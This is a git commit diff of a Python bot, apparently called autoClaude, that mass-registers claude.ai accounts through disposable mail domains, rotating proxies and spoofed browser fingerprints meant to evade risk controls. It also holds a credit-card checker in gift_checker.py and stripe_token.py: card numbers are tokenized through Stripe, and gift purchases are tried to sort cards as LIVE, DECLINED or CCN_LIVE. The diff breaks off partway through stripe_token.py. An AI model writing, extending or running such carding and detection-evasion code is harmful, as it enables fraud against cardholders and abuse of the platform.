refactor: Organize mail, stripe, gift, and Claude authentication modules into a new core package and update imports.

This commit is contained in:
2026-02-13 04:15:46 +08:00
parent 34215222bf
commit ea852b7a4c
13 changed files with 28 additions and 22 deletions

5
core/__init__.py Normal file
View File

@@ -0,0 +1,5 @@
"""
autoClaude 核心模块包
包含认证、检查、邮件、代理、账号存储等业务逻辑。
"""

235
core/account_store.py Normal file
View File

@@ -0,0 +1,235 @@
"""
线程安全的账号存储模块
统一管理 accounts.txt 的读写操作,避免并发冲突。
支持删除、统计等功能。
"""
import json
import threading
from pathlib import Path
_ACCOUNTS_FILE = Path(__file__).parent / "accounts.txt"
_STATS_FILE = Path(__file__).parent / "stats.json"
_lock = threading.Lock()
# ====== 账号池(并发调度)======
# _busy 记录当前被占用的账号行(原始字符串)
_busy: set[str] = set()
def acquire(n: int = 0) -> list[str]:
"""从空闲账号中获取最多 n 个,标记为占用。
Args:
n: 需要的账号数。0 表示尽量获取所有空闲账号(至少 1 个)。
Returns:
被获取的账号行列表(可能少于 n为空表示没有空闲账号。
"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
all_lines = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return []
free = [line for line in all_lines if line not in _busy]
if not free:
return []
if n <= 0:
# 获取全部空闲
acquired = free
else:
acquired = free[:n]
_busy.update(acquired)
return acquired
def release(lines: list[str]) -> None:
"""释放指定账号,标记为空闲。"""
with _lock:
for line in lines:
_busy.discard(line)
def pool_status() -> dict:
"""返回账号池状态。"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
all_lines = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
all_lines = []
total = len(all_lines)
busy = sum(1 for line in all_lines if line in _busy)
return {"total": total, "busy": busy, "free": total - busy}
# ====== 账号操作 ======
def append(email: str, session_key: str, org_uuid: str) -> None:
"""追加一个账号"""
with _lock:
with open(_ACCOUNTS_FILE, "a", encoding="utf-8") as f:
f.write(f"{email}|{session_key}|{org_uuid}\n")
def read_all() -> list[dict]:
"""读取所有账号"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return []
result = []
for line in lines:
parts = line.split("|")
result.append({
"email": parts[0] if len(parts) > 0 else "",
"session_key": parts[1] if len(parts) > 1 else "",
"org_uuid": parts[2] if len(parts) > 2 else "",
})
return result
def read_lines() -> list[str]:
"""读取所有原始行"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
return [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return []
def get_last() -> dict | None:
"""获取最后一个账号"""
accounts = read_all()
return accounts[-1] if accounts else None
def get_last_line() -> str | None:
"""获取最后一行原始数据"""
lines = read_lines()
return lines[-1] if lines else None
def count() -> int:
"""账号总数"""
return len(read_all())
def delete_by_index(index: int) -> dict | None:
"""删除指定序号的账号1-based返回被删除的账号信息"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return None
if index < 1 or index > len(lines):
return None
removed_line = lines.pop(index - 1)
with open(_ACCOUNTS_FILE, "w", encoding="utf-8") as f:
for line in lines:
f.write(line + "\n")
parts = removed_line.split("|")
return {
"email": parts[0] if len(parts) > 0 else "",
"session_key": parts[1] if len(parts) > 1 else "",
"org_uuid": parts[2] if len(parts) > 2 else "",
}
def delete_by_email(email: str) -> dict | None:
"""按邮箱删除账号"""
with _lock:
try:
with open(_ACCOUNTS_FILE, "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return None
removed = None
remaining = []
for line in lines:
parts = line.split("|")
if parts[0] == email and removed is None:
removed = {
"email": parts[0] if len(parts) > 0 else "",
"session_key": parts[1] if len(parts) > 1 else "",
"org_uuid": parts[2] if len(parts) > 2 else "",
}
else:
remaining.append(line)
if removed:
with open(_ACCOUNTS_FILE, "w", encoding="utf-8") as f:
for line in remaining:
f.write(line + "\n")
return removed
# ====== 统计数据 ======
def _load_stats() -> dict:
try:
with open(_STATS_FILE, "r", encoding="utf-8") as f:
return json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
return {
"register_total": 0,
"register_success": 0,
"register_fail": 0,
"register_fail_reasons": {},
"cc_total": 0,
"cc_pass": 0,
"cc_fail": 0,
}
def _save_stats(stats: dict):
with open(_STATS_FILE, "w", encoding="utf-8") as f:
json.dump(stats, f, ensure_ascii=False, indent=2)
def record_register(success: bool, fail_reason: str = ""):
"""记录一次注册结果"""
with _lock:
stats = _load_stats()
stats["register_total"] += 1
if success:
stats["register_success"] += 1
else:
stats["register_fail"] += 1
if fail_reason:
reasons = stats.setdefault("register_fail_reasons", {})
reasons[fail_reason] = reasons.get(fail_reason, 0) + 1
_save_stats(stats)
def record_cc(passed: bool):
"""记录一次 CC 检查结果"""
with _lock:
stats = _load_stats()
stats["cc_total"] += 1
if passed:
stats["cc_pass"] += 1
else:
stats["cc_fail"] += 1
_save_stats(stats)
def get_stats() -> dict:
"""获取统计数据"""
with _lock:
return _load_stats()

174
core/claude_auth.py Normal file
View File

@@ -0,0 +1,174 @@
import uuid
import base64
from curl_cffi import requests # 用于模拟指纹
from config import CLAUDE_URL, get_proxy
from core.models import ClaudeAccount
from core.identity import random_ua
def attack_claude(target_email):
"""伪装成浏览器发起攻击"""
device_id = str(uuid.uuid4())
ua = random_ua()
headers = {
"Host": "claude.ai",
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
"Content-Type": "application/json",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Anthropic-Client-Version": "1.0.0",
"User-Agent": ua,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
payload = {
"utc_offset": -480,
"email_address": target_email,
"login_intent": None,
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
try:
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
session = requests.Session()
response = session.post(
CLAUDE_URL,
json=payload,
headers=headers,
impersonate="chrome124",
proxies=get_proxy(),
)
if response.status_code == 200:
print("[+] 请求成功Claude 已发信。")
return True
elif response.status_code == 429:
print("[-] 被限流了 (Rate Limited)。")
else:
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
except Exception as e:
print(f"[-] 发生异常: {e}")
return False
def finalize_login(magic_link_fragment):
"""
完成最后一步:无需浏览器,直接交换 sessionKey。
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
返回 ClaudeAccount 对象
"""
# 1. 外科手术式拆解 Hash
if '#' in magic_link_fragment:
fragment = magic_link_fragment.split('#')[1]
else:
fragment = magic_link_fragment
if ':' not in fragment:
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
return None
# 分割 nonce 和 base64_email
nonce, encoded_email = fragment.split(':', 1)
try:
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
except:
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
# 2. 构造最终 payload
verify_url = "https://claude.ai/api/auth/verify_magic_link"
payload = {
"credentials": {
"method": "nonce",
"nonce": nonce,
"encoded_email_address": encoded_email
},
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
# 3. 伪造指纹头
device_id = str(uuid.uuid4())
ua = random_ua()
headers = {
"Host": "claude.ai",
"Content-Type": "application/json",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/magic-link",
"User-Agent": ua,
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=1, i"
}
try:
print(f"[*] 正在交换 SessionKey...")
session = requests.Session()
response = session.post(
verify_url,
json=payload,
headers=headers,
impersonate="chrome124",
proxies=get_proxy(),
)
if response.status_code == 200:
data = response.json()
# 1. 提取 SessionKey
session_key = response.cookies.get("sessionKey")
if not session_key:
for name, value in response.cookies.items():
if name == "sessionKey":
session_key = value
break
if not session_key:
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
print(f"Response: {str(data)[:200]}...")
return None
# 2. 提取 Org UUID
try:
org_uuid = data['account']['memberships'][0]['organization']['uuid']
email = data['account']['email_address']
print(f"[+] 登录成功。OrgID: {org_uuid}")
return ClaudeAccount(email, session_key, org_uuid, ua)
except KeyError as e:
print(f"[-] 无法提取 Organization UUID结构可能变了: {e}")
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
return None
else:
print(f"[-] 交换失败 Code: {response.status_code}")
print(f"Body: {response.text}")
return None
except Exception as e:
print(f"[-] 发生异常: {e}")
return None

75
core/gift_checker.py Normal file
View File

@@ -0,0 +1,75 @@
from curl_cffi import requests # 用于模拟指纹
from config import PRODUCT_ID, get_proxy
from core.models import ClaudeAccount
from core.identity import random_address
class GiftChecker:
def __init__(self, account: ClaudeAccount):
self.account = account
def purchase(self, pm_id):
"""尝试购买 Gift"""
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
headers = {
"Host": "claude.ai",
"User-Agent": self.account.user_agent,
"Content-Type": "application/json",
"Accept": "*/*",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": self.account.device_id,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/gift",
"Cookie": f"sessionKey={self.account.session_key}"
}
payload = {
"product_id": PRODUCT_ID,
"currency": "USD",
"payment_method_id": pm_id,
"to_email": self.account.email,
"to_name": "",
"from_name": "Checker",
"from_email": self.account.email,
"gift_message": "",
"card_color": "clay",
"billing_address": random_address(),
"scheduled_delivery_at": None
}
try:
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124", proxies=get_proxy())
resp_json = {}
try:
resp_json = resp.json()
except:
pass
if resp.status_code == 200:
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
return "LIVE"
elif resp.status_code == 402:
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
print(f"[-] 支付失败 (402): {err_msg}")
if "declined" in err_msg.lower():
return "DECLINED"
elif "insufficient" in err_msg.lower():
return "INSUFFICIENT_FUNDS"
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
return "CCN_LIVE"
else:
return "DEAD"
else:
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
return "ERROR"
except Exception as e:
print(f"[-] 购买请求异常: {e}")
return "ERROR"

53
core/identity.py Normal file
View File

@@ -0,0 +1,53 @@
"""
身份伪装模块:随机地址生成 + UA 轮换池
用于每次请求使用不同的指纹信息,降低风控触发率。
"""
import random
from faker import Faker
fake = Faker('en_US')
# --- UA 池 ---
UA_LIST = [
# Chrome (Windows)
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
# Chrome (macOS)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
# Chrome (Linux)
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
]
def random_ua() -> str:
"""随机返回一个 User-Agent"""
return random.choice(UA_LIST)
def random_address() -> dict:
"""生成一个随机的美国地址"""
return {
"line1": fake.street_address(),
"city": fake.city(),
"state": fake.state_abbr(),
"postal_code": fake.zipcode(),
"country": "US",
}
def random_name() -> str:
"""生成一个随机的英文姓名"""
return fake.name()

199
core/mail_service.py Normal file
View File

@@ -0,0 +1,199 @@
import time
import re
import random
import threading
import requests as standard_requests # 用于普通API交互
from config import get_proxy
class MailSystem:
"""单个邮箱系统实例,支持多域名"""
def __init__(self, base_url, api_token, domains):
self.base_url = base_url
self.domains = domains # 该系统支持的域名列表
self.token = api_token
self.headers = {"Authorization": self.token}
if self.token:
print(f"[+] 邮箱系统已连接 ({self.base_url}), Token: {self.token[:10]}...")
else:
print(f"[-] 邮箱系统 Token 为空 ({self.base_url})")
def create_user(self, email_prefix, domain=None):
"""在系统里注册一个新邮箱用户"""
if domain is None:
domain = random.choice(self.domains)
full_email = f"{email_prefix}@{domain}"
url = f"{self.base_url}/api/public/addUser"
payload = {
"list": [
{
"email": full_email,
"password": "random_pass_ignoring_this"
}
]
}
try:
resp = standard_requests.post(url, json=payload, headers=self.headers, proxies=get_proxy(), timeout=15)
if resp.json().get('code') == 200:
print(f"[+] 邮箱用户创建成功: {full_email}")
return full_email
elif resp.status_code in (401, 403):
print(f"[-] 邮箱 API Token 无效或已过期! HTTP {resp.status_code}")
return None
else:
print(f"[-] 创建邮箱失败: {resp.text}")
return None
except Exception as e:
print(f"[-] 创建邮箱请求异常: {e}")
return None
def wait_for_email(self, to_email, retry_count=20, sleep_time=3, stop_check=None):
"""像猎人一样耐心等待猎物出现,支持外部中断"""
url = f"{self.base_url}/api/public/emailList"
payload = {
"toEmail": to_email,
"sendName": "Anthropic",
"num": 1,
"size": 10,
"timeSort": "desc"
}
print(f"[*] 开始轮询邮件,目标: {to_email}...")
for i in range(retry_count):
# 检查外部中断信号
if stop_check and stop_check():
print("[!] 收到停止信号,中断邮件轮询")
return None
try:
resp = standard_requests.post(url, json=payload, headers=self.headers, proxies=get_proxy(), timeout=15)
data = resp.json()
if resp.status_code in (401, 403):
print(f"[-] 邮箱 API Token 无效或已过期! HTTP {resp.status_code}")
return None
if data.get('code') == 200 and data.get('data'):
emails = data['data']
for email in emails:
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
return email.get('content') or email.get('text')
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
time.sleep(sleep_time)
except Exception as e:
print(f"[-] 轮询出错: {e}")
time.sleep(sleep_time)
print("[-] 等待超时,未收到邮件。")
return None
def check_health(self) -> dict:
"""检查该邮箱系统的连通性和 Token 有效性"""
if not self.token:
return {"ok": False, "message": "Token 未配置"}
try:
url = f"{self.base_url}/api/public/emailList"
payload = {"toEmail": "health@check.test", "sendName": "", "num": 1, "size": 1}
resp = standard_requests.post(url, json=payload, headers=self.headers, proxies=get_proxy(), timeout=10)
if resp.status_code == 200:
return {"ok": True, "message": "连接正常"}
elif resp.status_code in (401, 403):
return {"ok": False, "message": f"Token 无效 (HTTP {resp.status_code})"}
else:
return {"ok": False, "message": f"异常响应 (HTTP {resp.status_code})"}
except standard_requests.exceptions.ConnectTimeout:
return {"ok": False, "message": "连接超时"}
except standard_requests.exceptions.ConnectionError:
return {"ok": False, "message": "无法连接"}
except Exception as e:
return {"ok": False, "message": f"异常: {e}"}
def __repr__(self):
return f"MailSystem({self.base_url}, domains={self.domains})"
class MailPool:
"""多邮箱系统轮询调度器"""
def __init__(self, mail_configs: list[dict]):
"""
mail_configs: config.MAIL_SYSTEMS 格式的列表
"""
self.systems: list[MailSystem] = []
self._index = 0
self._lock = threading.Lock()
for cfg in mail_configs:
ms = MailSystem(
base_url=cfg["base_url"],
api_token=cfg.get("api_token", ""),
domains=cfg["domains"],
)
if ms.token: # 只添加连接成功的系统
self.systems.append(ms)
else:
print(f"[!] 跳过连接失败的邮箱系统: {cfg['base_url']}")
if not self.systems:
print("[-] 没有可用的邮箱系统!")
print(f"[+] MailPool 初始化完成,可用系统: {len(self.systems)}")
def next(self) -> MailSystem | None:
"""Round-robin 返回下一个系统"""
if not self.systems:
return None
with self._lock:
ms = self.systems[self._index % len(self.systems)]
self._index += 1
return ms
def create_user(self, email_prefix) -> tuple[str | None, MailSystem | None]:
"""
使用下一个系统创建用户。
返回 (email, 对应的 MailSystem) 或 (None, None)。
"""
ms = self.next()
if not ms:
print("[-] 没有可用的邮箱系统")
return None, None
email = ms.create_user(email_prefix)
return email, ms
def get_system_by_domain(self, email: str) -> MailSystem | None:
"""根据邮箱域名找到对应的 MailSystem"""
domain = email.split("@")[-1] if "@" in email else ""
for ms in self.systems:
if domain in ms.domains:
return ms
return None
@property
def count(self) -> int:
return len(self.systems)
def info(self) -> str:
"""返回所有系统的信息摘要"""
lines = [f"📬 邮箱系统池(共 {self.count} 个):"]
for i, ms in enumerate(self.systems, 1):
domains = ", ".join(ms.domains)
lines.append(f" {i}. {ms.base_url} → [{domains}]")
return "\n".join(lines)
def extract_magic_link(html_content):
"""HTML提取出链接"""
if not html_content:
return None
pattern = r'href="(https://claude\.ai/[^"]+)"'
match = re.search(pattern, html_content)
if match:
url = match.group(1)
return url.replace("&amp;", "&")
return None

10
core/models.py Normal file
View File

@@ -0,0 +1,10 @@
import uuid
class ClaudeAccount:
def __init__(self, email, session_key, org_uuid, user_agent):
self.email = email
self.session_key = session_key
self.org_uuid = org_uuid
self.user_agent = user_agent
self.device_id = str(uuid.uuid4())

97
core/permissions.py Normal file
View File

@@ -0,0 +1,97 @@
"""
运行时权限管理模块
管理员可通过 Bot 命令动态添加/删除用户和设置权限。
持久化存储在 permissions.json 中。
"""
import json
import threading
from pathlib import Path
_PERM_FILE = Path(__file__).parent / "permissions.json"
_lock = threading.Lock()
# 所有可用命令列表(用于验证输入)
ALL_COMMANDS = {
"start", "help", "register", "stop", "check",
"accounts", "delete", "verify", "stats", "status",
"mailstatus", "proxy", "proxytest", "proxystatus",
"document", # 文件上传
"adduser", "removeuser", "setperm", "users", # 管理命令
}
def _load() -> dict:
"""加载权限数据"""
try:
with open(_PERM_FILE, "r", encoding="utf-8") as f:
return json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
return {"users": {}}
def _save(data: dict):
"""保存权限数据"""
with open(_PERM_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
def add_user(user_id: int, commands: list[str]) -> None:
"""添加用户或更新已有用户权限"""
with _lock:
data = _load()
data["users"][str(user_id)] = {
"commands": commands,
}
_save(data)
def remove_user(user_id: int) -> bool:
"""删除用户,返回是否成功"""
with _lock:
data = _load()
key = str(user_id)
if key in data["users"]:
del data["users"][key]
_save(data)
return True
return False
def set_commands(user_id: int, commands: list[str]) -> bool:
"""设置用户权限,返回是否成功(用户必须存在)"""
with _lock:
data = _load()
key = str(user_id)
if key not in data["users"]:
return False
data["users"][key]["commands"] = commands
_save(data)
return True
def get_user(user_id: int) -> dict | None:
"""获取单个用户信息"""
with _lock:
data = _load()
return data["users"].get(str(user_id))
def list_users() -> dict[int, dict]:
"""列出所有运行时用户"""
with _lock:
data = _load()
return {int(k): v for k, v in data["users"].items()}
def get_permissions_map() -> dict[int, set[str]]:
"""
返回运行时权限映射user_id → set[command_name]
用于与 config.toml 的静态权限合并
"""
with _lock:
data = _load()
result = {}
for uid_str, info in data["users"].items():
result[int(uid_str)] = set(info.get("commands", []))
return result

276
core/proxy_pool.py Normal file
View File

@@ -0,0 +1,276 @@
"""
代理池管理模块
功能:
- 从 proxy.txt 加载代理(支持 host:port:user:pass 格式)
- 基于优先级的智能选取(优先使用表现好的代理)
- 自动测试连通性和延迟
- 测试失败降低优先级,过低则淘汰
- 线程安全
"""
import random
import threading
import time
from dataclasses import dataclass, field
from pathlib import Path
import requests as std_requests
# --- 配置常量 ---
_PROXY_FILE = Path(__file__).parent / "proxy.txt"
_TEST_URL = "https://claude.ai" # 测试目标
_TEST_TIMEOUT = 10 # 测试超时秒数
_INITIAL_PRIORITY = 100 # 初始优先级
_FAIL_PENALTY = 30 # 每次失败扣分
_SUCCESS_BONUS = 10 # 每次成功加分
_MAX_PRIORITY = 100 # 最高优先级
_REMOVE_THRESHOLD = 0 # 优先级低于此值则淘汰
@dataclass
class Proxy:
"""代理实例"""
raw: str # 原始行
url: str # 解析后的 URL (http://user:pass@host:port)
host: str
port: str
priority: int = _INITIAL_PRIORITY
latency: float = 0.0 # 最近一次测试延迟 (ms)
fail_count: int = 0
success_count: int = 0
last_test_time: float = 0.0
last_test_ok: bool = True
@property
def masked_url(self) -> str:
"""脱敏显示"""
if "@" in self.url:
prefix = self.url.split("@")[0]
suffix = self.url.split("@")[1]
# 隐藏密码
if ":" in prefix.replace("http://", "").replace("https://", ""):
user_part = prefix.split(":")[-2].split("/")[-1]
return f"{self.host}:{self.port} ({user_part[:8]}...)"
return f"{self.host}:{self.port}"
def _parse_line(line: str) -> Proxy | None:
"""解析一行代理配置"""
line = line.strip()
if not line or line.startswith("#"):
return None
parts = line.split(":")
if len(parts) == 4:
host, port, user, passwd = parts
url = f"http://{user}:{passwd}@{host}:{port}"
return Proxy(raw=line, url=url, host=host, port=port)
elif len(parts) == 2:
host, port = parts
url = f"http://{host}:{port}"
return Proxy(raw=line, url=url, host=host, port=port)
elif line.startswith(("http://", "https://", "socks5://")):
# 从完整 URL 提取 host:port
try:
from urllib.parse import urlparse
parsed = urlparse(line)
return Proxy(raw=line, url=line, host=parsed.hostname or "?", port=str(parsed.port or "?"))
except Exception:
return None
return None
class ProxyPool:
"""线程安全的代理池"""
def __init__(self):
self._proxies: list[Proxy] = []
self._lock = threading.Lock()
self.enabled = True # 代理开关
self._load()
def _load(self):
"""从 proxy.txt 加载代理"""
if not _PROXY_FILE.exists():
print("[*] 未找到 proxy.txt不使用代理")
return
with open(_PROXY_FILE, "r", encoding="utf-8") as f:
for line in f:
proxy = _parse_line(line)
if proxy:
self._proxies.append(proxy)
if self._proxies:
print(f"[+] 代理池: 已加载 {len(self._proxies)} 个代理")
else:
print("[!] proxy.txt 存在但没有有效代理")
def reload(self):
"""重新加载 proxy.txt"""
with self._lock:
self._proxies.clear()
self._load()
@property
def count(self) -> int:
return len(self._proxies)
@property
def active_count(self) -> int:
"""有效代理数量"""
return sum(1 for p in self._proxies if p.priority > _REMOVE_THRESHOLD)
def get(self) -> dict:
"""
基于优先级加权随机选取一个代理,返回 requests 格式的 proxies dict。
代理关闭或无可用代理时返回空 dict直连
"""
if not self.enabled:
return {}
with self._lock:
alive = [p for p in self._proxies if p.priority > _REMOVE_THRESHOLD]
if not alive:
return {}
# 加权随机priority 越高越容易选中
weights = [p.priority for p in alive]
chosen = random.choices(alive, weights=weights, k=1)[0]
return {"http": chosen.url, "https": chosen.url}
def report_success(self, proxies: dict):
"""调用方报告该代理请求成功"""
if not proxies:
return
url = proxies.get("https", "")
with self._lock:
for p in self._proxies:
if p.url == url:
p.success_count += 1
p.priority = min(p.priority + _SUCCESS_BONUS, _MAX_PRIORITY)
break
def report_failure(self, proxies: dict):
"""调用方报告该代理请求失败,降低优先级"""
if not proxies:
return
url = proxies.get("https", "")
with self._lock:
for p in self._proxies:
if p.url == url:
p.fail_count += 1
p.priority -= _FAIL_PENALTY
if p.priority <= _REMOVE_THRESHOLD:
print(f"[!] 代理已淘汰 (优先级归零): {p.masked_url}")
break
def _cleanup(self):
"""移除优先级过低的代理"""
before = len(self._proxies)
self._proxies = [p for p in self._proxies if p.priority > _REMOVE_THRESHOLD]
removed = before - len(self._proxies)
if removed:
print(f"[!] 清理了 {removed} 个失效代理,剩余 {len(self._proxies)}")
self._save()
def _save(self):
"""将当前有效代理写回 proxy.txt"""
with open(_PROXY_FILE, "w", encoding="utf-8") as f:
for p in self._proxies:
f.write(p.raw + "\n")
def test_one(self, proxy: Proxy) -> dict:
"""测试单个代理,返回结果 dict"""
proxies = {"http": proxy.url, "https": proxy.url}
try:
start = time.time()
resp = std_requests.get(
_TEST_URL,
proxies=proxies,
timeout=_TEST_TIMEOUT,
allow_redirects=True,
)
latency = (time.time() - start) * 1000 # ms
proxy.latency = latency
proxy.last_test_time = time.time()
if resp.status_code < 500:
proxy.last_test_ok = True
proxy.success_count += 1
proxy.priority = min(proxy.priority + _SUCCESS_BONUS, _MAX_PRIORITY)
return {"ok": True, "latency_ms": round(latency), "status": resp.status_code}
else:
proxy.last_test_ok = False
proxy.fail_count += 1
proxy.priority -= _FAIL_PENALTY
return {"ok": False, "latency_ms": round(latency), "error": f"HTTP {resp.status_code}"}
except std_requests.exceptions.ConnectTimeout:
proxy.last_test_ok = False
proxy.fail_count += 1
proxy.priority -= _FAIL_PENALTY
proxy.last_test_time = time.time()
return {"ok": False, "latency_ms": -1, "error": "连接超时"}
except std_requests.exceptions.ProxyError as e:
proxy.last_test_ok = False
proxy.fail_count += 1
proxy.priority -= _FAIL_PENALTY
proxy.last_test_time = time.time()
return {"ok": False, "latency_ms": -1, "error": f"代理错误: {e}"}
except Exception as e:
proxy.last_test_ok = False
proxy.fail_count += 1
proxy.priority -= _FAIL_PENALTY
proxy.last_test_time = time.time()
return {"ok": False, "latency_ms": -1, "error": str(e)}
def test_all(self) -> list[dict]:
"""
测试所有代理,返回结果列表。
测试后自动清理优先级过低的代理。
"""
results = []
with self._lock:
proxies_snapshot = list(self._proxies)
for proxy in proxies_snapshot:
result = self.test_one(proxy)
result["proxy"] = proxy.masked_url
result["priority"] = proxy.priority
results.append(result)
with self._lock:
self._cleanup()
return results
def status_list(self) -> list[dict]:
"""返回所有代理的状态信息"""
with self._lock:
return [
{
"proxy": p.masked_url,
"priority": p.priority,
"latency_ms": round(p.latency) if p.latency else "-",
"success": p.success_count,
"fail": p.fail_count,
"last_ok": p.last_test_ok,
}
for p in self._proxies
]
# --- 全局单例 ---
pool = ProxyPool()
def get_proxy() -> dict:
"""供外部模块调用:随机获取一个代理"""
return pool.get()
def get_proxy_count() -> int:
"""代理池大小"""
return pool.count

91
core/stripe_token.py Normal file
View File

@@ -0,0 +1,91 @@
import uuid
import random
from curl_cffi import requests # 用于模拟指纹
from config import STRIPE_PK, get_proxy
from core.identity import random_address, random_name
class StripeTokenizer:
def __init__(self, user_agent):
self.user_agent = user_agent
self.guid = f"{uuid.uuid4()}0a75cf"
self.muid = f"{uuid.uuid4()}1d4c1f"
self.sid = f"{uuid.uuid4()}eb67c4"
self.client_session_id = str(uuid.uuid4())
self.elements_session_config_id = str(uuid.uuid4())
def get_token(self, cc_num, exp_m, exp_y, cvc):
"""与 Stripe 交互获取 pm_id"""
url = "https://api.stripe.com/v1/payment_methods"
headers = {
"Host": "api.stripe.com",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Ch-Ua-Platform": '"Linux"',
"User-Agent": self.user_agent,
"Accept": "application/json",
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Sec-Ch-Ua-Mobile": "?0",
"Origin": "https://js.stripe.com",
"Sec-Fetch-Site": "same-site",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://js.stripe.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
# 构造完整的 form-data
time_on_page = random.randint(30000, 500000)
addr = random_address()
name = random_name()
